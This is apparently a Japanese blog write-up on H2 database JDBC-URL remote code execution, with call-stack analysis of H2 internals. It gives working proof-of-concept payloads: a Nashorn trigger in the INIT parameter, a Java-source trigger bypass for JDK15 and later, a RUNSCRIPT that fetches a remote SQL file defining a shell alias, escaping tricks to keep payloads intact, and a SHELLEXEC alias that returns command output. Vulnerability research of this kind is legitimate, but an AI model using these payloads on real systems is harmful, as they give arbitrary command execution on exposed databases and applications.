JDBC H2 攻撃#
H2#
$$ は h2 で設定関数を表します

eval は変異した var3 名のスクリプトを実行します
呼び出しスタック:
loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2
0x01 TRIGGER RCE#
javascript#
JDK15 では
JavaScript /Nashornエンジンが完全に削除されました(つまり、jdk15以上では//javascriptのような方法で rce はできず、jsEngineはnullになり、NullPointerException が発生します)
環境
jdk8u20
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>
import java.sql.DriverManager;
public class H2 {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
"Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
java.sql.Connection conn = DriverManager.getConnection(simplexp2);
}
}
H2 解析プロセス#
public JdbcConnection(String var1, Properties var2) throws SQLException {
this(new ConnectionInfo(var1, var2), true);
}
まずnew ConnectionInfo(var1, var2)に入ります。接続情報の設定方法を確認します。

readSettingsFromURLに入ります。

戻ります。

name は url の後半部分の値であり、その後 name の値が解析されます。

tcp:とssl:はリモート接続を有効にし、remote=trueになります。その後のremoteの判断でリモート接続が行われます。

mem: メモリモードを使用し、データベースはメモリに保存されます。test: 接続するデータベースの名前です。
poc がmem:を設定しているため、persistent = false;となります。ここも重要です。なぜなら、後でgetName()が呼び出されるからです。

もしpersistent != false;であれば、name が検査され、ちょうど true になると、エラーがスローされます。
それはnameが相対パスのフラグ(./、.\\、:/、:\\など)を含むか、SysProperties.IMPLICIT_RELATIVE_PATHがfalseであるかを確認します。もしnameが絶対パスでなく、これらの相対パスのフラグを含まない場合、例外がスローされます。
その後、new ConnectionInfo(var1, var2)に戻り、後はconvertPasswordsによるパスワードの処理と変換だけですが、ここでは設定されていないため、特に操作はありません。これで接続情報の解析部分は終了です。
init#

接続情報を取得した後、接続プロセスが始まります。

H2 データベースのエンジンクラスをリフレクションでロードし、その後エンジンクラスを通じてセッションを作成します。

INSTANCE.createSessionAndValidate(ci)メソッドを呼び出してセッションを作成し、検証します。その後、openSession(ci);に入ります。

接続情報からIFEXISTS(存在するか)、FORBID_CREATION(接続禁止)、IGNORE_UNKNOWN_SETTINGS、CIPHER(接続パスワード)、INITを除去し、いくつかの情報を入力してopenSessionを呼び出し、セッションを開こうとします。

別のopenSession内でDATABASES名を取得し、存在するかどうか、forbidCreationが true かどうかを判断します。どちらも満たされない場合は、そのデータベースを作成します。その後、ユーザーとパスワードも作成し、mem:testを先ほど作成したデータベースのキーとして使用し、元のopenSessionメソッドに戻ります。
もしinit変数が空でなければ、初期化コマンドの実行を試みます。
parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)

初期化コマンドが完了しました。

その後、TriggerObject#loadFromSourceに到達し、実行を呼び出します。


この関数はソースコードからトリガーオブジェクトをロードします。まずデータベースのコンパイラインスタンスを取得し、トリガーの完全なクラス名を構築します。つまり、org.h2.dynamic.trigger.TRIG_JSです。setSourceはトリガーのソースコードを指定されたクラス名に設定し、トリガーのソースコードが JavaScript ソースコードであるかどうかを確認します。もし JavaScript ソースコードであれば、スクリプトをコンパイルして実行します。
まずgetCompiledScript()に入ります。

ここで JDK15 ではJavaScript /Nashornエンジンが完全に削除されました(つまり、jdk15 以上では//javascriptのような方法で rce はできず、jsEngineはnullになり、NullPointerException が発生します)。
次に、js エンジンを取得する方法を確認します。

"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"

その後、namesと渡されたnameを照合し、一致すれば初期化されたengineを返します。
しかし、ここで注意が必要なのは、javascript の前にも判断があることです。

小結#
この攻撃手法は主にjava Trigger(Java トリガー)に依存しています。つまり、バックエンドの Java コードロジックを実行するコンテナを使用して rce を行います。init のコマンドが部分的に読み取られた後、それをTriggerのTriggerソースコードとして扱い、対応するエンジンを使用してそのソースコードを実行します。
poc を作成する際は、SQL 文の解析プロセスを主に確認します。
0x02 //javascript の回避#
エンジンの登録を試みる(失敗)#
JDK15 以降は javascript が使用できなくなりました。

上の図は jdk17 で jsEngine を取得しようとした際、エンジンが null であるため、後続のエラーが発生します。associations内に登録されたエンジンが見つからず、 engineSpisコレクション内に発見されたエンジンがありません。

その後、jdk17 でassociationsを登録できる場所を見つけました。

しかし、以前の factory が何であったかを確認する必要があります。jdk8 で使用されている factory はNashornScriptEngineFactoryであり、同時に spis はその名前を取得することで取得されます。


ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
jdk17 で factory インターフェースを実装しているクラスを確認しましたが、残念ながら見つかりませんでした。

主に jdk17 にはNashornScriptEngineFactoryとNashornScriptEngineがなく、元のコードは直接ScriptEngineManagerを new してエンジンを探しに行くため、他に特別な操作はありません。このプロセスは制御できません。
Trigger コードの生成を制御する#
import java.sql.DriverManager;
public class H2_Bypass {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}
まずはコマンドの解析部分を確認します。
呼び出しスタック
parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass






ちょうど poc と一対一で対応し、最後のトリガー部分に到達します。


fullClassNameとtriggerSourceがコンパイラに装入され、getClass(className);に進みます。
public Method getMethod(String className) throws ClassNotFoundException {
Class<?> clazz = getClass(className);
Method[] methods = clazz.getDeclaredMethods();
...
getClassを追跡し、直接classLoader.loadClass(packageAndClassName);に到達します。


getCompleteSourceCode()を通じて完全なクラスファイルのコードを補完し、package、className、sourcecode(poc中)を含みます。

その後、javaxToolsJavacを使用してそのクラスをロードし、マップに追加して、このクラスオブジェクトを返します。
上記の呼び出しスタック:
findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)

最後にinvokeを呼び出して悪意のあるメソッドをトリガーします。
0x03 INIT RunScript RCE#
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');
呼び出しスタック
execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3


while ループを通じて各 SQL 文を実行し、一度に一文を実行します。
$$ ロジック#
commandを解析する方法を確認します。呼び出しスタック
initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
初期化

Tokenizer.tokenizeに入ります。

これは JDBC 文字列を解析する鍵です。文字列がRUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'である場合、最初の R が case に入ります。

readR はキーワードを探すために findIdentifierEnd を呼び出します。ここで RSCRIPT が見つかりますが、RIGHT EOW ROWNUM は優先的にマッチングされる必要があります。マッチングされない場合、最後に readIdentifierOrKeyword が呼び出されます。ここで RUNSCRIPT の抽出が完了します。

その後、空白をスキップします。


From キーワード
単一引用符に出会うと、その中の文字を抽出し、次のようなトークンを取得します。

$$ロジックを確認します。

ここでsql.substring(stringStart, stringEnd)は私たちが定義した関数です。

$ の回避#
上記で $ がnew Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);で追加されていることがわかりました。CharacterStringTokenを検索します。

readCharacterStringにも存在し、case '\''で呼び出されます。
したがって、poc.sql 内の $$ を単一引用符に置き換えることも可能です。したがって、0x02 でも切り替えることができます。
poc で注意すべき問題#
危険な関数を正常に記述すると、直接 rce できないことがわかります。なぜ著者は後でエスケープ文字を追加したのでしょうか?
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}';";

SQL を渡すとき、余分なエスケープ文字はすでに消えています。追跡してみましょう。

この時 ci の originalURL はまだjdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator")\;}'です。

もしエスケープ文字を追加しなければどうなるでしょうか?
readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1

;で分割されるため、元の poc の危険な関数が 2 つの部分に分割されてしまいます。
2 つのエスケープ文字を追加する必要があります。
0x04 H2 データベースの利用 ALIAS#
jar をダウンロードし、最新バージョンを使用します。jdk17 で起動し、直接接続するとオンラインの h2 データベースが得られます。
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)
回声#
DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//CALL SHELLEXECでコマンドを実行
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');

0x05 参考#
https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD
zjj